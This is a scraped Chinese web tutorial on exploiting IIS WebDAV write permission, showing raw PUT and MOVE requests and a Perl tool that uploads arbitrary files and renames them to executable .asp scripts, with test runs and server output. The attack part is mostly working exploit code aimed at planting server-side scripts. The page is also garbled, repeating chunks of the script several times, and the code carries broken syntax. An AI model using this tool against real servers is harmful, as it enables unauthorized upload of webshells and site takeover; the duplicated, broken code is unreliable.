重创燃烧军团 bug,对iis写权限的利用(关于对第八军团写权限BUG的入侵)

对iis写权限的利用(关于对第八军团写权限BUG的入侵) - 网络安全 - 电脑教程网

对iis写权限的利用(关于对第八军团写权限BUG的入侵)

日期:2007-06-02   荐:
军团编辑:技术部在做测试的时候忘了取消写入权限,不到一天的时间就被人发现并且利用。呵呵,动作好快。不过没有什么危害,因为只能写入,甚至首页都改不了。不过也发现了一部分很可笑的人,他们想改了首页跳转过去他们自己的网站,不过没有成功。谢谢挣扎的提醒。

大家可能看过《远程分析IIS设置》,里面对iis的各种设置进行了分析,我这里就对iis的写权限来分析下,以下引用《远程分析IIS设置》文章对iis写权限分析内容:
写权限
  测试一个目录对于web用户是否具有写权限,采用如下方法:telnet到服务器的web端口(80)并发送一个如下请求:
PUT /dir/my_file.txt HTTP/1.1
Host: iis-server
Content-Length: 10
这时服务器会返回一个100( 继续)的信息:
HTTP/1.1 100 Continue
Server: Microsoft-IIS/5.0
Date: Thu, 28 Feb 2002 15:56:00 GMT
接着,我们输入10个字母:
AAAAAAAAAA
送出这个请求后,看服务器的返回信息,如果是一个 201 created响应:
HTTP/1.1 201 created
Server: Microsoft-IIS/5.0
Date: Thu, 28 Feb 2002 15:56:08 GMT
Location: http://iis-server/dir/my_file.txt
Content-Length: 0
Allow: OPTIONS, TRACE, GET, HEAD, delete, PUT, COPY, MOVE, PROPFIND,
PROPPATCH, SEARCH, LOCK, UNLOCK
  那么就说明这个目录的写权限是开着的,反之,如果返回的是一个403错误,那么写权限就是没有开起来,如果需要你认证,并且返回一个 401(权限禁止) 的响应的话,说明是开了写权限,但是匿名用户不允许。如果一个目录同时开了"写"和"脚本和可执行程序"的话,那么web用户就可以上传一个程序并且执行它,恐怖哦%^#$!~
这里简单说明下:
PUT /dir/my_file.txt HTTP/1.1
Host: iis-server
Content-Length: 10
  PUT:请求服务器将附件的实体储存在提供的请求URL处,如果该请求URL指向的资源已经存在,则附件实体应被看做是当前原始服务器上资源的修改版本。如果请求URL没有指向现存的资源,该URL将被该请求的用户代理定义成为一个新的资源,原始服务器将用该URL产生这个资源。
  Host:是HTTP请求的发送地址
  Content-Length:是内容长度,也就是实体长度,该长度值和上传的文件大小一致

  用nc(telnet)提交很烦琐,我们这里写个简单的perl程序,来完成这个复杂的提交过程,在写代码时我们用binmode()方式打开文件,代码如下:
#!/usr/bin/perl
use IO::Socket;
$ARGC = @ARGV;
if ($ARGC != 4)
{
  print "usage:$0 127.0.0.1 80 kaka.exe /Scripts/file.exe/n";
  exit;
}
$host = @ARGV[0];
$port = @ARGV[1];
$file = @ARGV[2];
$path = @ARGV[3];
@s=stat("$file");
$size = $s[7]; #得到文件大小
print "$file size is $size bytes/n";

my $sock = IO::Socket::INET->new(Proto =>"tcp",
PeerAddr =>$host,
PeerPort =>$port) die "Sorry! Could not connect to $host /n";
print $sock "PUT $path HTTP/1.1/n";
print $sock "Host: $host/n";
print $sock "Content-Length: $size/n/n"; #sock连接

open(FILE,"$file");
binmode(FILE); #用2进制打开文件

while (read(FILE,$char,1024)) { #读取文件数据上传
  print $sock "$char";
}
print $sock "/n/n";
@req = <$sock>;
print "please wait.../n";
sleep(2);
if ($req[4]=~/200201/){
  print "upfile SUCceed!!!" ; #成功显示

[1] [2] [3]  

}
else{
  print "upfile faile!!!/n/n";
  print @req;#如果失败显示返回错误
}
close $sock;
close FILE;
下面我们测试下:
C:/usr/bin>perl.exe iiswt.pl 127.0.0.1 80 kaka.txt /Scripts/kaka.txt
kaka.txt size is 14 bytes
please wait...
upfile Succeed!!!
C:/Inetpub/Scripts>dir kaka.txt
驱动器 C 中的卷没有标签。
卷的序列号是 3CD1-479E
C:/Inetpub/Scripts 的目录
2004-05-05 00:37 14 kaka.txt
1 个文件 14 字节
0 个目录 3,871,080,448 可用字节
这里我们把kaka.txt成功上传到了web目录Scripts下,以为程序中用了binmode()方式(2进制)打开文件,应该可以上传其他文件,我们先测试下exe文件:
C:/usr/bin>perl.exe iiswt.pl 127.0.0.1 80 perl.exe /Scripts/perl.exe
perl.exe size is 20535 bytes
please wait...
upfile Succeed!!!
C:/Inetpub/Scripts>dir perl.exe
驱动器 C 中的卷没有标签。
卷的序列号是 3CD1-479E
C:/Inetpub/Scripts 的目录
2004-05-05 00:42 20,535 perl.exe
1 个文件 20,535 字节
0 个目录 3,871,031,296 可用字节
成功,可以上传exe了,是不是可以上传任意文件呢?接着来测试ASP文件:
C:/usr/bin>perl.exe iiswt.pl 127.0.0.1 80 kaka.asp /Scripts/kaka.asp
kaka.asp size is 4 bytes
please wait...
upfile faile!!!
HTTP/1.1 100 Continue
Server: Microsoft-IIS/5.0
Date: Tue, 04 May 2004 16:45:51 GMT
HTTP/1.1 403 Forbidden
Server: Microsoft-IIS/5.0
Date: Tue, 04 May 2004 16:45:51 GMT
Connection: close
Content-Type: text/Html
Content-Length: 44

<body><h2>HTTP/1.1 403 Forbidden</h2></body>
失败!!提示HTTP/1.1 403 Forbidden错误,看来直接用post方式写asp不行了,经过测试只要是iis支持的文件类型都会产生HTTP/1.1 403 Forbidden错误。

那我们怎样才可以上传iis支持的文件类型文件呢?iis除了可以执行put,post,get等动作外,还可以执行COPY, MOVE等命令,呵呵!我们这可以先把本地asp上传到远程主机web目录下的txt等其他文件,在提过copy,move命令来改为asp。

我们还是先用nc提交测试下:
D:/>nc 127.0.0.1 80
MOVE /scripts/kaka.txt HTTP/1.1
Host:127.0.0.1
Destination: http://127.0.0.1/scripts/kaka.asp
HTTP/1.1 201 created
Server: Microsoft-IIS/5.0
Date: Sun, 05 Oct 2003 09:30:59 GMT
Location: http://127.0.0.1/scripts/x.asp
Content-Type: text/XML
Content-Length: 0
成功利用MOVE把/scripts/kaka.txt改名/scripts/kaka.asp。这样我们就可以结合put和move来完成通过iis写容易文件了:)。我们还是用perl来完成。

测试写asp成功:
C:/usr/bin>perl kaka.pl 127.0.0.1 80 kaka.asp /scripts/kaka.asp
************************************************************
codz by ≯SuperHei<QQ:123230273> && lanker<QQ:18779569>
************************************************************
kaka.asp size is 4 bytes
please wait...
upfile Succeed!!!

 [1] [2] [3]  

modifyfile Succeed!!!
最终的iiswrite.pl代码如下(由于写本文时,在网吧对于文章中代码是先又本人打"草稿",又lanker测试并最终完成,THX lanker。):
#!/usr/bin/perl
#The iiswrite Script
use IO::Socket;
$ARGC = @ARGV;
print "*" x 60;
print "/ncodz by ≯SuperHei<QQ:123230273> && lanker<QQ:18779569>/n";
print "*" x 60,"/n";
if ($ARGC != 4)
{
  print "usage:$0 127.0.0.1 80 kaka.txt /scripts/my_file.txt/n";
  exit;
}
$host = @ARGV[0];
$port = @ARGV[1];
$path = @ARGV[3];
$file = @ARGV[2];

@path=split("/",$path);
$any = pop(@path);
$path1=join("/",@path);
@s=stat("$file");
$size = $s[7];

print "$file size is $size bytes/n";
my $sock = IO::Socket::INET->new(Proto =>"tcp",
PeerAddr =>$host,
PeerPort =>$port) die "Sorry! Could not connect to $host /n";
print $sock "PUT $path1/lanker.txt HTTP/1.1/n";
print $sock "Host: $host/n";
print $sock "Content-Length: $size/n/n";
open(FILE,"$file") die "Can't open $file";
binmode(FILE);
while (read(FILE,$char,1024)) {
  print $sock "$char";
}
print $sock "/n/n";
@req = <$sock>;
print "please wait.../n";
sleep(2);
if ($req[4]=~/200201/){
  print "upfile Succeed!!!/n" ;
}
else{
  print "upfile faile!!!/n";
}
close $sock;
close FILE;

my $sock = IO::Socket::INET->new(Proto =>"tcp",
PeerAddr =>$host,
PeerPort =>$port) die "Sorry! Could not connect to $host /n";
print $sock "MOVE $path1/lanker.txt HTTP/1.1/n";
print $sock "Host: $host/n";
print $sock "Destination:http://$host:$port$path/n/n/n/n";;
@req = <$sock>;
if ($req[0]=~/20/d+/){
  print "modifyfile Succeed!!!" ;
}
else{
  print "upfile faile!!!";
}
close $sock;
学习而不是破坏!

(出处:http://www.sheup.com)


 [1] [2] [3] 

$any = pop(@path);
$path1=join("/",@path);
@s=stat("$file");
$size = $s[7];

print "$file size is $size bytes/n";
my $sock = IO::Socket::INET->new(Proto =>"tcp",
PeerAddr =>$host,
PeerPort =>$port) die "Sorry! Could not connect to $host /n";
print $sock "PUT $path1/lanker.txt HTTP/1.1/n";
print $sock "Host: $host/n";
print $sock "Content-Length: $size/n/n";
open(FILE,"$file") die "Can't open $file";
binmode(FILE);
while (read(FILE,$char,1024)) {
  print $sock "$char";
}
print $sock "/n/n";
@req = <$sock>;
print "please wait.../n";
sleep(2);
if ($req[4]=~/200201/){
  print "upfile Succeed!!!/n" ;
}
else{
  print "upfile faile!!!/n";
}
close $sock;
close FILE;

my $sock = IO::Socket::INET->new(Proto =>"tcp",
PeerAddr =>$host,
PeerPort =>$port) die "Sorry! Could not connect to $host /n";
print $sock "MOVE $path1/lanker.txt HTTP/1.1/n";
print $sock "Host: $host/n";
print $sock "Destination:http://$host:$port$path/n/n/n/n";;
@req = <$sock>;
if ($req[0]=~/20/d+/){
  print "modifyfile Succeed!!!" ;
}
else{
  print "upfile faile!!!";
}
close $sock;
学习而不是破坏!

(出处:http://www.sheup.com)


 [1] [2] [3] [4] 

@req = <$sock>;
if ($req[0]=~/20/d+/){
  print "modifyfile Succeed!!!" ;
}
else{
  print "upfile faile!!!";
}
close $sock;
学习而不是破坏!

(出处:http://www.sheup.com)


 [1] [2] [3] [4] [5] 

标签: